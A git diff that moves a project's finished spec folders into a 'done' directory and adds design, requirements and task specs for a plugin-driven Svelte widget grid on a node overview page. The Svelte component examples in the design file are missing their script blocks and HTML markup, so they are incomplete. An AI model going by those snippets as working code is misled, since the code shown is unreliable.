b/.kiro/specs/done/090/parallel-execution-ui/requirements.md similarity index 100% rename from .kiro/specs/090/parallel-execution-ui/requirements.md rename to .kiro/specs/done/090/parallel-execution-ui/requirements.md diff --git a/.kiro/specs/090/parallel-execution-ui/tasks.md b/.kiro/specs/done/090/parallel-execution-ui/tasks.md similarity index 100% rename from .kiro/specs/090/parallel-execution-ui/tasks.md rename to .kiro/specs/done/090/parallel-execution-ui/tasks.md diff --git a/.kiro/specs/090/proxmox-frontend-ui/.config.kiro b/.kiro/specs/done/090/proxmox-frontend-ui/.config.kiro similarity index 100% rename from .kiro/specs/090/proxmox-frontend-ui/.config.kiro rename to .kiro/specs/done/090/proxmox-frontend-ui/.config.kiro diff --git a/.kiro/specs/090/proxmox-frontend-ui/design.md b/.kiro/specs/done/090/proxmox-frontend-ui/design.md similarity index 100% rename from .kiro/specs/090/proxmox-frontend-ui/design.md rename to .kiro/specs/done/090/proxmox-frontend-ui/design.md diff --git a/.kiro/specs/090/proxmox-frontend-ui/requirements.md b/.kiro/specs/done/090/proxmox-frontend-ui/requirements.md similarity index 100% rename from .kiro/specs/090/proxmox-frontend-ui/requirements.md rename to .kiro/specs/done/090/proxmox-frontend-ui/requirements.md diff --git a/.kiro/specs/090/proxmox-frontend-ui/tasks.md b/.kiro/specs/done/090/proxmox-frontend-ui/tasks.md similarity index 100% rename from .kiro/specs/090/proxmox-frontend-ui/tasks.md rename to .kiro/specs/done/090/proxmox-frontend-ui/tasks.md diff --git a/.kiro/specs/090/proxmox-integration/.config.kiro b/.kiro/specs/done/090/proxmox-integration/.config.kiro similarity index 100% rename from .kiro/specs/090/proxmox-integration/.config.kiro rename to .kiro/specs/done/090/proxmox-integration/.config.kiro diff --git a/.kiro/specs/090/proxmox-integration/design.md b/.kiro/specs/done/090/proxmox-integration/design.md similarity index 100% rename from .kiro/specs/090/proxmox-integration/design.md rename to .kiro/specs/done/090/proxmox-integration/design.md diff --git a/.kiro/specs/090/proxmox-integration/requirements.md b/.kiro/specs/done/090/proxmox-integration/requirements.md similarity index 100% rename from .kiro/specs/090/proxmox-integration/requirements.md rename to .kiro/specs/done/090/proxmox-integration/requirements.md diff --git a/.kiro/specs/090/proxmox-integration/tasks.md b/.kiro/specs/done/090/proxmox-integration/tasks.md similarity index 100% rename from .kiro/specs/090/proxmox-integration/tasks.md rename to .kiro/specs/done/090/proxmox-integration/tasks.md diff --git a/.kiro/specs/090/puppet-pabawi-refactoring/.config.kiro b/.kiro/specs/done/090/puppet-pabawi-refactoring/.config.kiro similarity index 100% rename from .kiro/specs/090/puppet-pabawi-refactoring/.config.kiro rename to .kiro/specs/done/090/puppet-pabawi-refactoring/.config.kiro diff --git a/.kiro/specs/090/puppet-pabawi-refactoring/design.md b/.kiro/specs/done/090/puppet-pabawi-refactoring/design.md similarity index 100% rename from .kiro/specs/090/puppet-pabawi-refactoring/design.md rename to .kiro/specs/done/090/puppet-pabawi-refactoring/design.md diff --git a/.kiro/specs/090/puppet-pabawi-refactoring/requirements.md b/.kiro/specs/done/090/puppet-pabawi-refactoring/requirements.md similarity index 100% rename from .kiro/specs/090/puppet-pabawi-refactoring/requirements.md rename to .kiro/specs/done/090/puppet-pabawi-refactoring/requirements.md diff --git a/.kiro/specs/090/puppet-pabawi-refactoring/tasks.md b/.kiro/specs/done/090/puppet-pabawi-refactoring/tasks.md similarity index 100% rename from .kiro/specs/090/puppet-pabawi-refactoring/tasks.md rename to .kiro/specs/done/090/puppet-pabawi-refactoring/tasks.md diff --git a/.kiro/specs/090/rbac-authorization/.config.kiro b/.kiro/specs/done/090/rbac-authorization/.config.kiro similarity index 100% rename from .kiro/specs/090/rbac-authorization/.config.kiro rename to .kiro/specs/done/090/rbac-authorization/.config.kiro diff --git a/.kiro/specs/090/rbac-authorization/design.md b/.kiro/specs/done/090/rbac-authorization/design.md similarity index 100% rename from .kiro/specs/090/rbac-authorization/design.md rename to .kiro/specs/done/090/rbac-authorization/design.md diff --git a/.kiro/specs/090/rbac-authorization/requirements.md b/.kiro/specs/done/090/rbac-authorization/requirements.md similarity index 100% rename from .kiro/specs/090/rbac-authorization/requirements.md rename to .kiro/specs/done/090/rbac-authorization/requirements.md diff --git a/.kiro/specs/090/rbac-authorization/tasks.md b/.kiro/specs/done/090/rbac-authorization/tasks.md similarity index 100% rename from .kiro/specs/090/rbac-authorization/tasks.md rename to .kiro/specs/done/090/rbac-authorization/tasks.md diff --git a/.kiro/specs/090/ssh-integration/.config.kiro b/.kiro/specs/done/090/ssh-integration/.config.kiro similarity index 100% rename from .kiro/specs/090/ssh-integration/.config.kiro rename to .kiro/specs/done/090/ssh-integration/.config.kiro diff --git a/.kiro/specs/090/ssh-integration/design.md b/.kiro/specs/done/090/ssh-integration/design.md similarity index 100% rename from .kiro/specs/090/ssh-integration/design.md rename to .kiro/specs/done/090/ssh-integration/design.md diff --git a/.kiro/specs/090/ssh-integration/requirements.md b/.kiro/specs/done/090/ssh-integration/requirements.md similarity index 100% rename from .kiro/specs/090/ssh-integration/requirements.md rename to .kiro/specs/done/090/ssh-integration/requirements.md diff --git a/.kiro/specs/090/ssh-integration/tasks.md b/.kiro/specs/done/090/ssh-integration/tasks.md similarity index 100% rename from .kiro/specs/090/ssh-integration/tasks.md rename to .kiro/specs/done/090/ssh-integration/tasks.md diff --git a/.kiro/specs/azure-integration/.config.kiro b/.kiro/specs/done/azure-integration/.config.kiro similarity index 100% rename from .kiro/specs/azure-integration/.config.kiro rename to .kiro/specs/done/azure-integration/.config.kiro diff --git a/.kiro/specs/azure-integration/design.md b/.kiro/specs/done/azure-integration/design.md similarity index 100% rename from .kiro/specs/azure-integration/design.md rename to .kiro/specs/done/azure-integration/design.md diff --git a/.kiro/specs/azure-integration/requirements.md b/.kiro/specs/done/azure-integration/requirements.md similarity index 100% rename from .kiro/specs/azure-integration/requirements.md rename to .kiro/specs/done/azure-integration/requirements.md diff --git a/.kiro/specs/azure-integration/tasks.md b/.kiro/specs/done/azure-integration/tasks.md similarity index 100% rename from .kiro/specs/azure-integration/tasks.md rename to .kiro/specs/done/azure-integration/tasks.md diff --git a/.kiro/specs/checkmk-integration/.config.kiro b/.kiro/specs/done/checkmk-integration/.config.kiro similarity index 100% rename from .kiro/specs/checkmk-integration/.config.kiro rename to .kiro/specs/done/checkmk-integration/.config.kiro diff --git a/.kiro/specs/checkmk-integration/design.md b/.kiro/specs/done/checkmk-integration/design.md similarity index 100% rename from .kiro/specs/checkmk-integration/design.md rename to .kiro/specs/done/checkmk-integration/design.md diff --git a/.kiro/specs/checkmk-integration/requirements.md b/.kiro/specs/done/checkmk-integration/requirements.md similarity index 100% rename from .kiro/specs/checkmk-integration/requirements.md rename to .kiro/specs/done/checkmk-integration/requirements.md diff --git a/.kiro/specs/checkmk-integration/tasks.md b/.kiro/specs/done/checkmk-integration/tasks.md similarity index 100% rename from .kiro/specs/checkmk-integration/tasks.md rename to .kiro/specs/done/checkmk-integration/tasks.md diff --git a/.kiro/specs/code-review-fixes/.config.kiro b/.kiro/specs/done/code-review-fixes/.config.kiro similarity index 100% rename from .kiro/specs/code-review-fixes/.config.kiro rename to .kiro/specs/done/code-review-fixes/.config.kiro diff --git a/.kiro/specs/code-review-fixes/design.md b/.kiro/specs/done/code-review-fixes/design.md similarity index 100% rename from .kiro/specs/code-review-fixes/design.md rename to .kiro/specs/done/code-review-fixes/design.md diff --git a/.kiro/specs/code-review-fixes/requirements.md b/.kiro/specs/done/code-review-fixes/requirements.md similarity index 100% rename from .kiro/specs/code-review-fixes/requirements.md rename to .kiro/specs/done/code-review-fixes/requirements.md diff --git a/.kiro/specs/code-review-fixes/tasks.md b/.kiro/specs/done/code-review-fixes/tasks.md similarity index 100% rename from .kiro/specs/code-review-fixes/tasks.md rename to .kiro/specs/done/code-review-fixes/tasks.md diff --git a/.kiro/specs/journal-enhancements/.config.kiro b/.kiro/specs/done/journal-enhancements/.config.kiro similarity index 100% rename from .kiro/specs/journal-enhancements/.config.kiro rename to .kiro/specs/done/journal-enhancements/.config.kiro diff --git a/.kiro/specs/journal-enhancements/design.md b/.kiro/specs/done/journal-enhancements/design.md similarity index 100% rename from .kiro/specs/journal-enhancements/design.md rename to .kiro/specs/done/journal-enhancements/design.md diff --git a/.kiro/specs/journal-enhancements/requirements.md b/.kiro/specs/done/journal-enhancements/requirements.md similarity index 100% rename from .kiro/specs/journal-enhancements/requirements.md rename to .kiro/specs/done/journal-enhancements/requirements.md diff --git a/.kiro/specs/journal-enhancements/tasks.md b/.kiro/specs/done/journal-enhancements/tasks.md similarity index 100% rename from .kiro/specs/journal-enhancements/tasks.md rename to .kiro/specs/done/journal-enhancements/tasks.md diff --git a/.kiro/specs/missing-lifecycle-actions/.config.kiro b/.kiro/specs/done/missing-lifecycle-actions/.config.kiro similarity index 100% rename from .kiro/specs/missing-lifecycle-actions/.config.kiro rename to .kiro/specs/done/missing-lifecycle-actions/.config.kiro diff --git a/.kiro/specs/missing-lifecycle-actions/bugfix.md b/.kiro/specs/done/missing-lifecycle-actions/bugfix.md similarity index 100% rename from .kiro/specs/missing-lifecycle-actions/bugfix.md rename to .kiro/specs/done/missing-lifecycle-actions/bugfix.md diff --git a/.kiro/specs/pabawi-release-1-0-0/.config.kiro b/.kiro/specs/done/pabawi-release-1-0-0/.config.kiro similarity index 100% rename from .kiro/specs/pabawi-release-1-0-0/.config.kiro rename to .kiro/specs/done/pabawi-release-1-0-0/.config.kiro diff --git a/.kiro/specs/pabawi-release-1-0-0/design.md b/.kiro/specs/done/pabawi-release-1-0-0/design.md similarity index 100% rename from .kiro/specs/pabawi-release-1-0-0/design.md rename to .kiro/specs/done/pabawi-release-1-0-0/design.md diff --git a/.kiro/specs/pabawi-release-1-0-0/requirements.md b/.kiro/specs/done/pabawi-release-1-0-0/requirements.md similarity index 100% rename from .kiro/specs/pabawi-release-1-0-0/requirements.md rename to .kiro/specs/done/pabawi-release-1-0-0/requirements.md diff --git a/.kiro/specs/pabawi-release-1-0-0/tasks.md b/.kiro/specs/done/pabawi-release-1-0-0/tasks.md similarity index 100% rename from .kiro/specs/pabawi-release-1-0-0/tasks.md rename to .kiro/specs/done/pabawi-release-1-0-0/tasks.md diff --git a/.kiro/specs/rbac-and-mcp-server/.config.kiro b/.kiro/specs/done/rbac-and-mcp-server/.config.kiro similarity index 100% rename from .kiro/specs/rbac-and-mcp-server/.config.kiro rename to .kiro/specs/done/rbac-and-mcp-server/.config.kiro diff --git a/.kiro/specs/rbac-and-mcp-server/design.md b/.kiro/specs/done/rbac-and-mcp-server/design.md similarity index 100% rename from .kiro/specs/rbac-and-mcp-server/design.md rename to .kiro/specs/done/rbac-and-mcp-server/design.md diff --git a/.kiro/specs/rbac-and-mcp-server/requirements.md b/.kiro/specs/done/rbac-and-mcp-server/requirements.md similarity index 100% rename from .kiro/specs/rbac-and-mcp-server/requirements.md rename to .kiro/specs/done/rbac-and-mcp-server/requirements.md diff --git a/.kiro/specs/rbac-and-mcp-server/tasks.md b/.kiro/specs/done/rbac-and-mcp-server/tasks.md similarity index 100% rename from .kiro/specs/rbac-and-mcp-server/tasks.md rename to .kiro/specs/done/rbac-and-mcp-server/tasks.md diff --git a/.kiro/specs/v1-release-prep/.config.kiro b/.kiro/specs/done/v1-release-prep/.config.kiro similarity index 100% rename from .kiro/specs/v1-release-prep/.config.kiro rename to .kiro/specs/done/v1-release-prep/.config.kiro diff --git a/.kiro/specs/v1-release-prep/design.md b/.kiro/specs/done/v1-release-prep/design.md similarity index 100% rename from .kiro/specs/v1-release-prep/design.md rename to .kiro/specs/done/v1-release-prep/design.md diff --git a/.kiro/specs/v1-release-prep/requirements.md b/.kiro/specs/done/v1-release-prep/requirements.md similarity index 100% rename from .kiro/specs/v1-release-prep/requirements.md rename to .kiro/specs/done/v1-release-prep/requirements.md diff --git a/.kiro/specs/v1-release-prep/tasks.md b/.kiro/specs/done/v1-release-prep/tasks.md similarity index 100% rename from .kiro/specs/v1-release-prep/tasks.md rename to .kiro/specs/done/v1-release-prep/tasks.md diff --git a/.kiro/specs/node-overview-widget-grid/.config.kiro b/.kiro/specs/node-overview-widget-grid/.config.kiro new file mode 100644 index 00000000..e81f3f03 --- /dev/null +++ b/.kiro/specs/node-overview-widget-grid/.config.kiro @@ -0,0 +1 @@ +{"specId": "82458792-febb-45de-9d5d-b404052b2e56", "workflowType": "fast-task", "specType": "feature"} diff --git a/.kiro/specs/node-overview-widget-grid/design.md b/.kiro/specs/node-overview-widget-grid/design.md new file mode 100644 index 00000000..28e8f5c5 --- /dev/null +++ b/.kiro/specs/node-overview-widget-grid/design.md @@ -0,0 +1,534 @@ +# Design Document: Node Overview Widget Grid + +## Overview + +Reorganize the node detail overview tab into a composable, plugin-driven widget grid. Each integration plugin contributes one or more widgets via a frontend-only component registry. Widgets render in a 4-column responsive grid with priority-weighted ordering. Action buttons occupy a dedicated header row above the grid. Widgets load asynchronously and in parallel with graceful error handling per widget. + +## Architecture + +The widget grid system is a frontend-only architecture that transforms the node detail overview tab from a hard-coded layout into a composable, plugin-driven grid. Integration plugins contribute widgets through a central registry; the grid renders them in a priority-weighted 4-column layout after filtering out disabled integrations. + +``` +┌──────────────────────────────────────────────────┐ +│ Static Imports (side-effects at module load) │ +│ e.g. import '../widgets/generalInfo.widget' │ +│ import '../widgets/puppetRuns.widget' │ +└───────────────────────┬──────────────────────────┘ + │ registerWidget(def) + ▼ +┌──────────────────────────────────────────────────┐ +│ widgetRegistry.svelte.ts ($state collection) │ +│ - Widget_Definition[] │ +│ - getWidgets(): readonly Widget_Definition[] │ +└───────────────────────┬──────────────────────────┘ + │ consumed by + ▼ +┌──────────────────────────────────────────────────┐ +│ WidgetGrid.svelte │ +│ - Fetches /api/integrations/status │ +│ - Filters widgets by enabled integrations │ +│ - Separates "action" widgets → ActionRow │ +│ - Sorts by priority, renders WidgetFrame[] │ +└──────┬───────────────────────────────┬───────────┘ + │ │ + ▼ ▼ +┌──────────────┐ ┌───────────────────────┐ +│ ActionRow │ │ WidgetFrame.svelte │ +│ (flex row) │ │ (loading/error/content)│ +└──────────────┘ └───────────────────────┘ +``` + +## Components and Interfaces + +### 1. Widget Registry Module (`frontend/src/lib/widgetRegistry.svelte.ts`) + +Central store for widget definitions using Svelte 5 runes. + +```typescript +import type { Component } from 'svelte'; + +export type WidgetType = 'action' | 'list' | 'summary'; + +export interface WidgetDefinition { + /** Unique identifier for the widget */ + id: string; + /** Display name shown in error badges */ + name: string; + /** Svelte component to render */ + component: Component; + /** Integration name (must match /api/integrations/status response) */ + integration: string; + /** Widget category: determines placement (action → ActionRow, others → grid) */ + type: WidgetType; + /** Column span in the grid: 1, 2, or 3. Clamped to [1,3] on registration. */ + colSpan: number; + /** Numeric priority weight. Lower renders first. */ + priority: number; +} + +// Internal reactive state +let definitions = $state([]); + +/** + * Register a widget definition. Column span is clamped to [1,3]. + * Called at module load time as a side-effect of static imports. + */ +export function registerWidget(def: WidgetDefinition): void { + const clamped: WidgetDefinition = { + ...def, + colSpan: Math.max(1, Math.min(3, Math.round(def.colSpan))), + }; + definitions.push(clamped); +} + +/** + * Get all registered widget definitions (readonly snapshot). + */ +export function getWidgets(): readonly WidgetDefinition[] { + return definitions; +} + +/** + * Reset registry (used in tests only). + */ +export function _resetForTesting(): void { + definitions = []; +} +``` + +### 2. WidgetGrid Component (`frontend/src/components/WidgetGrid.svelte`) + +Orchestrator that fetches integration status, filters widgets, and renders the grid. + +```typescript + + +{#if statusError} +
+

+ Unable to load integration status: {statusError} +

+
+{:else} + {#if actionWidgets.length > 0} + + {/if} + +
+ {#each gridWidgets as widget (widget.id)} + + {/each} +
+{/if} +``` + +### 3. WidgetFrame Component (`frontend/src/components/WidgetFrame.svelte`) + +Container for each widget position. Manages loading, error, and content states. + +```typescript + + +
+ {#if state === 'loading'} +
+
+
+
+
+
+
+ {/if} + + {#if state === 'error'} +
+
+ {widget.integration} + {error} +
+ +
+ {/if} + + {#if state === 'loading' || state === 'ready'} +
+ {#key mountKey} + + {/key} +
+ {/if} +
+``` + +### 4. ActionRow Component (`frontend/src/components/ActionRow.svelte`) + +Horizontal flex container for action-type widgets. + +```typescript + + +{#if widgets.length > 0} +
+ {#each widgets as widget (widget.id)} + + {/each} +
+{/if} +``` + +### 5. Widget Self-Registration Pattern + +Each widget is a standalone module that registers itself as a side-effect. These modules are imported statically by the WidgetGrid (or a central barrel file) to guarantee registration before render. + +Example (`frontend/src/lib/widgets/generalInfo.widget.ts`): + +```typescript +import { registerWidget } from '../widgetRegistry.svelte'; +import GeneralInfoWidget from '../../components/GeneralInfoWidget.svelte'; + +registerWidget({ + id: 'core-general-info', + name: 'General Information', + component: GeneralInfoWidget, + integration: 'bolt', // always available when bolt is connected + type: 'summary', + colSpan: 2, + priority: 10, +}); +``` + +A barrel file (`frontend/src/lib/widgets/index.ts`) imports all widget registration modules: + +```typescript +// Core widgets +import './generalInfo.widget'; +import './latestActions.widget'; + +// Integration-dependent widgets +import './puppetRuns.widget'; +import './monitoringSummary.widget'; +import './consoleAccess.widget'; +``` + +The `WidgetGrid.svelte` imports this barrel file at the top of its script block, ensuring all widgets are registered before the first render. + +### 6. Integration Status Fetching + +The existing `GET /api/integrations/status` endpoint returns: + +```typescript +interface IntegrationStatusResponse { + integrations: Array<{ + name: string; + status: 'connected' | 'degraded' | 'not_configured' | 'error' | 'disconnected'; + type: 'execution' | 'information' | 'both'; + lastCheck?: string; + message?: string; + }>; +} +``` + +Filtering logic (pure function, testable independently): + +```typescript +export function filterWidgetsByStatus( + widgets: readonly WidgetDefinition[], + integrations: readonly IntegrationStatusEntry[], +): WidgetDefinition[] { + const enabled = new Set( + integrations + .filter(i => i.status === 'connected' || i.status === 'degraded') + .map(i => i.name), + ); + return widgets.filter(w => enabled.has(w.integration)); +} +``` + +### 7. Data Flow + +``` +Module load → widget registration side-effects fire → registry populated + │ +Page mount → WidgetGrid.svelte mounts ───────────────────►│ + │ │ + ├─ fetch /api/integrations/status │ + │ │ + ▼ ▼ + statusLoaded = true getWidgets() returns all defs + │ │ + └──── $derived: filterWidgetsByStatus ─────┘ + │ + ┌─────────────┼─────────────┐ + ▼ ▼ + actionWidgets gridWidgets + (type=action) (type=list|summary) + │ │ + ▼ ▼ + ActionRow CSS Grid with WidgetFrames + (flex-wrap) (4-col, responsive breakpoints) +``` + +### 8. Individual Widget Components (Migration) + +Each existing overview section becomes a standalone Svelte component: + +| Widget | Component | Type | Span | Priority | Integration | +|--------|-----------|------|------|----------|-------------| +| General Information | `GeneralInfoWidget.svelte` | summary | 2 | 10 | bolt | +| Latest Puppet Runs | `PuppetRunsWidget.svelte` | list | 3 | 100 | puppetdb | +| Latest Actions | `LatestActionsWidget.svelte` | list | 2 | 20 | bolt | +| Monitoring Summary | `MonitoringSummaryWidget.svelte` | summary | 2 | 100 | checkmk | +| Console Access | `ConsoleAccessWidget.svelte` | action | 1 | 100 | proxmox | + +The "General Information" and "Latest Actions" widgets use `bolt` as their integration since they rely on the core Bolt inventory which is always the base integration. Their priority values (10, 20) are lower than integration-contributed widgets (100+), ensuring they render first. + +### 9. Error Handling Strategy + +- **Per-widget isolation**: Each `WidgetFrame` catches errors from its child component independently. An error in one widget does not propagate to siblings. +- **Error badge**: Shows the integration name and a truncated error message within the widget's grid slot, preserving layout. +- **Retry**: A button in the error state increments a `mountKey`, causing Svelte's `{#key}` block to destroy and recreate the component. +- **Integration status error**: If the status endpoint fails entirely, no integration-dependent widgets render. A single inline notification explains the issue. + +### 10. Responsive Breakpoints + +The grid uses Tailwind's responsive prefixes: +- `grid-cols-1` (default, below `sm`) +- `sm:grid-cols-2` (≥640px) +- `lg:grid-cols-4` (≥1024px) + +Column spans are also responsive: +- `col-span-1` always applies at base +- `sm:col-span-N` applies at ≥640px +- `lg:col-span-N` applies at ≥1024px + +Below `sm`, all widgets collapse to full width regardless of declared span. + +## Data Models + +### WidgetDefinition + +```typescript +interface WidgetDefinition { + id: string; + name: string; + component: Component; + integration: string; + type: 'action' | 'list' | 'summary'; + colSpan: number; // clamped to [1,3] + priority: number; +} +``` + +### Widget Component Contract + +Every widget component must accept these props: + +```typescript +interface WidgetComponentProps { + nodeId: string; + onReady: () => void; + onError: (error: Error) => void; +} +``` + +The widget calls `onReady()` after its data loads successfully, and `onError(err)` if it fails. The `WidgetFrame` transitions states accordingly. + +### IntegrationStatusEntry + +```typescript +interface IntegrationStatusEntry { + name: string; + status: 'connected' | 'degraded' | 'not_configured' | 'error' | 'disconnected'; + type: 'execution' | 'information' | 'both'; +} +``` + +## Error Handling + +| Scenario | Behavior | +|----------|----------| +| Integration status endpoint fails | No integration widgets rendered; inline error notification | +| Widget throws on mount | Error badge with integration name + message; retry button | +| Widget throws during data fetch | Same as mount error (caught by onError callback) | +| Widget takes too long | Not enforced at frame level (individual widgets handle their own timeouts) | +| Unknown integration in widget def | Widget excluded from render (not in enabled set) | + +## Testing Strategy + +- **Unit tests** (Vitest + @testing-library/svelte): Verify individual component behavior — WidgetFrame states, ActionRow rendering, WidgetGrid filtering logic. +- **Property tests** (Vitest + fast-check): Validate universal properties of the registry (clamping, filtering, sorting) across randomized inputs. +- **Example tests**: Specific scenarios like error state rendering, retry behavior, empty action row. +- **E2E tests** (Playwright): Responsive breakpoints and full-page integration with real API responses. + +Unit tests cover the pure-logic layer (registry, filtering, sorting). Property tests target the 8 correctness properties below. Integration tests verify the component tree renders correctly with mocked API responses. + +## Correctness Properties + +*A property is a characteristic or behavior that should hold true across all valid executions of a system — essentially, a formal statement about what the system should do. Properties serve as the bridge between human-readable specifications and machine-verifiable correctness guarantees.* + +### Property 1: Registration preserves widget definitions + +For any valid WidgetDefinition, registering it in the Widget_Registry and then querying the registry SHALL return a definition with all original fields preserved (except colSpan which may be clamped). + +**Validates: Requirements 1.1, 1.2** + +### Property 2: Column span clamping + +For any integer value provided as colSpan during registration, the stored colSpan SHALL equal `Math.max(1, Math.min(3, Math.round(value)))`. + +**Validates: Requirements 1.3** + +### Property 3: Integration filtering + +For any set of registered WidgetDefinitions and any integration status response, the visible widget set SHALL contain exactly those widgets whose integration name appears in the status response with status "connected" or "degraded", and no others. + +**Validates: Requirements 2.2, 2.4** + +### Property 4: Stable priority ordering + +For any set of widgets rendered in the grid or action row, the rendered sequence SHALL be sorted by ascending priority weight, and widgets with equal priority weight SHALL appear in their original registration order (stable sort). + +**Validates: Requirements 3.2, 3.3, 4.3** + +### Property 5: Column span applied to frame element + +For any widget rendered in the grid, regardless of its internal state (loading, ready, or error), its containing frame element SHALL have a CSS class corresponding to its declared colSpan value. + +**Validates: Requirements 3.4, 5.4, 6.4** + +### Property 6: Action row composition + +For any set of visible widgets, the action row SHALL contain exactly those widgets with type "action" and no widgets of type "list" or "summary", rendered in ascending priority order. + +**Validates: Requirements 4.2, 4.3** + +### Property 7: Error badge content + +For any widget that throws an error, the displayed error badge SHALL contain the widget's integration name and a non-empty error summary string. + +**Validates: Requirements 6.1** + +### Property 8: Error isolation + +For any set of widgets where a subset throws errors, all non-erroring widgets SHALL render their content state independently and without interruption. + +**Validates: Requirements 6.3** diff --git a/.kiro/specs/node-overview-widget-grid/requirements.md b/.kiro/specs/node-overview-widget-grid/requirements.md new file mode 100644 index 00000000..e326e296 --- /dev/null +++ b/.kiro/specs/node-overview-widget-grid/requirements.md @@ -0,0 +1,110 @@ +# Requirements Document + +## Introduction + +Reorganize the node detail overview tab into a composable, plugin-driven widget grid. Each integration plugin contributes one or more widgets via a frontend-only component registry. Widgets render in a 4-column responsive grid with priority-weighted ordering. Action buttons occupy a dedicated header row above the grid. Widgets load asynchronously and in parallel with graceful error handling per widget. + +## Glossary + +- **Widget_Registry**: A frontend-only TypeScript module that maintains an ordered collection of widget definitions contributed by integration plugins +- **Widget_Definition**: A declarative descriptor containing a Svelte component reference, column span, priority weight, required integration name, and widget type +- **Widget_Grid**: A 4-column CSS grid layout that renders widget components according to their declared column spans and priority order +- **Action_Row**: A dedicated horizontal strip rendered between the page header and the Widget_Grid, containing action button widgets +- **Widget_Frame**: The container element rendered for each widget position in the grid, showing loading state until the widget component mounts +- **Integration_Status_Endpoint**: The existing `GET /api/integrations/status` backend endpoint that returns enabled/disabled state and health for each integration +- **Priority_Weight**: A numeric value declared per widget that determines render order within the grid (lower number renders first) +- **Column_Span**: An integer (1–3) declaring how many columns a widget occupies in the 4-column grid + +## Requirements + +### Requirement 1: Widget Registry + +**User Story:** As a plugin developer, I want to register widgets from my integration so that the overview tab dynamically displays plugin-contributed content without modifying the core page. + +#### Acceptance Criteria + +1. THE Widget_Registry SHALL expose a registration function that accepts a Widget_Definition containing: component reference, integration name, widget type, column span, and priority weight +2. THE Widget_Registry SHALL store all registered Widget_Definitions in a single ordered collection accessible at runtime +3. WHEN a Widget_Definition is registered with a column span value outside the range 1–3, THE Widget_Registry SHALL clamp the value to the nearest valid bound (1 or 3) +4. THE Widget_Registry SHALL accept Widget_Definitions with a widget type of "action", "list", or "summary" +5. THE Widget_Registry SHALL be implemented as a TypeScript module using Svelte 5 runes for reactive state + +### Requirement 2: Integration Filtering + +**User Story:** As an operator, I want the overview tab to display widgets only for integrations that are enabled and reachable so that I see relevant information without noise from disabled plugins. + +#### Acceptance Criteria + +1. WHEN the overview tab mounts, THE Widget_Grid SHALL fetch integration status from the Integration_Status_Endpoint +2. THE Widget_Grid SHALL render only Widget_Definitions whose declared integration name matches an integration with status "connected" or "degraded" from the Integration_Status_Endpoint response +3. WHEN the Integration_Status_Endpoint returns an error, THE Widget_Grid SHALL render no integration-dependent widgets and display a single inline error notification +4. IF a Widget_Definition declares an integration name that does not appear in the Integration_Status_Endpoint response, THEN THE Widget_Grid SHALL exclude that widget from rendering + +### Requirement 3: Widget Grid Layout + +**User Story:** As a user, I want the overview tab to display information in an organized grid so that I can scan node details at a glance. + +#### Acceptance Criteria + +1. THE Widget_Grid SHALL use a 4-column CSS grid layout with TailwindCSS utility classes +2. THE Widget_Grid SHALL render widgets in ascending Priority_Weight order (lowest weight first) +3. WHEN two widgets share the same Priority_Weight, THE Widget_Grid SHALL render them in registration order +4. THE Widget_Grid SHALL assign each widget a column span matching the widget's declared Column_Span value (1, 2, or 3 columns) +5. WHILE the viewport width is below the `sm` TailwindCSS breakpoint, THE Widget_Grid SHALL collapse to a single-column layout where each widget spans the full width +6. WHILE the viewport width is between the `sm` and `lg` TailwindCSS breakpoints, THE Widget_Grid SHALL use a 2-column layout + +### Requirement 4: Action Row + +**User Story:** As a user, I want quick-access action buttons (Run Puppet, VM controls, Console) rendered prominently above the detail grid so that I can take immediate actions without scrolling. + +#### Acceptance Criteria + +1. THE Action_Row SHALL render between the page header (hostname/metadata) and the Widget_Grid +2. THE Action_Row SHALL contain only widgets with widget type "action" +3. THE Action_Row SHALL render action widgets in ascending Priority_Weight order +4. THE Action_Row SHALL use a horizontal flex layout that wraps on smaller viewports +5. WHEN no action widgets are available (all associated integrations disabled), THE Action_Row SHALL not render any container element + +### Requirement 5: Async Widget Loading + +**User Story:** As a user, I want to see the grid frame immediately when the page loads so that I have spatial context while individual widgets fetch their data. + +#### Acceptance Criteria + +1. WHEN the overview tab renders, THE Widget_Grid SHALL display all Widget_Frames immediately with a loading skeleton placeholder +2. THE Widget_Grid SHALL mount all widget components in parallel without awaiting sequential completion +3. WHEN a widget component finishes loading its data, THE Widget_Frame SHALL replace the skeleton with the widget content without affecting other widgets +4. WHILE a widget is loading, THE Widget_Frame SHALL display an animated skeleton placeholder with dimensions matching the widget's declared Column_Span + +### Requirement 6: Widget Error Handling + +**User Story:** As a user, I want a widget that fails to load to show a contained error state so that one broken integration does not prevent me from using the rest of the overview. + +#### Acceptance Criteria + +1. IF a widget component throws an error during mount or data fetching, THEN THE Widget_Frame SHALL display an inline error badge showing the integration name and a short error summary +2. IF a widget component throws an error, THEN THE Widget_Frame SHALL offer a retry button that re-mounts the widget component +3. IF a widget component throws an error, THEN THE Widget_Grid SHALL continue rendering all other widgets without interruption +4. WHEN a widget error badge is displayed, THE Widget_Frame SHALL maintain its declared Column_Span to preserve grid layout stability + +### Requirement 7: No New Backend Endpoint + +**User Story:** As a developer, I want the widget registry to be purely frontend so that no backend changes are required for registration. + +#### Acceptance Criteria + +1. THE Widget_Registry SHALL operate entirely in the frontend without requiring a dedicated backend endpoint for widget metadata +2. THE Widget_Registry SHALL rely exclusively on the existing Integration_Status_Endpoint for determining which integrations are active +3. WHEN integration plugins register widgets, THE registration SHALL occur at module load time via static import side-effects + +### Requirement 8: Existing Widget Migration + +**User Story:** As a user, I want the current overview content (General Info, Latest Puppet Runs, Latest Actions, Monitoring Summary, Console) to appear in the new grid system so that no functionality is lost. + +#### Acceptance Criteria + +1. THE Widget_Registry SHALL include a "General Information" summary widget spanning 2 columns with Priority_Weight lower than all integration-contributed widgets +2. WHEN the puppetdb integration is enabled, THE Widget_Registry SHALL include a "Latest Puppet Runs" list widget spanning 3 columns +3. THE Widget_Registry SHALL include a "Latest Actions" list widget spanning 2 columns +4. WHEN the checkmk integration is enabled, THE Widget_Registry SHALL include a "Monitoring Summary" summary widget spanning 2 columns +5. WHEN console capabilities are available for the node, THE Widget_Registry SHALL include a "Console Access" action widget in the Action_Row diff --git a/.kiro/specs/node-overview-widget-grid/tasks.md b/.kiro/specs/node-overview-widget-grid/tasks.md new file mode 100644 index 00000000..1749999b --- /dev/null +++ b/.kiro/specs/node-overview-widget-grid/tasks.md @@ -0,0 +1,142 @@ +# Implementation Plan: Node Overview Widget Grid + +## Overview + +Refactor the node detail overview tab from a monolithic 2700-line page into a composable, plugin-driven widget grid. A frontend-only widget registry allows integration plugins to contribute widgets via static import side-effects. Widgets render in a responsive 4-column CSS grid with priority-weighted ordering, action 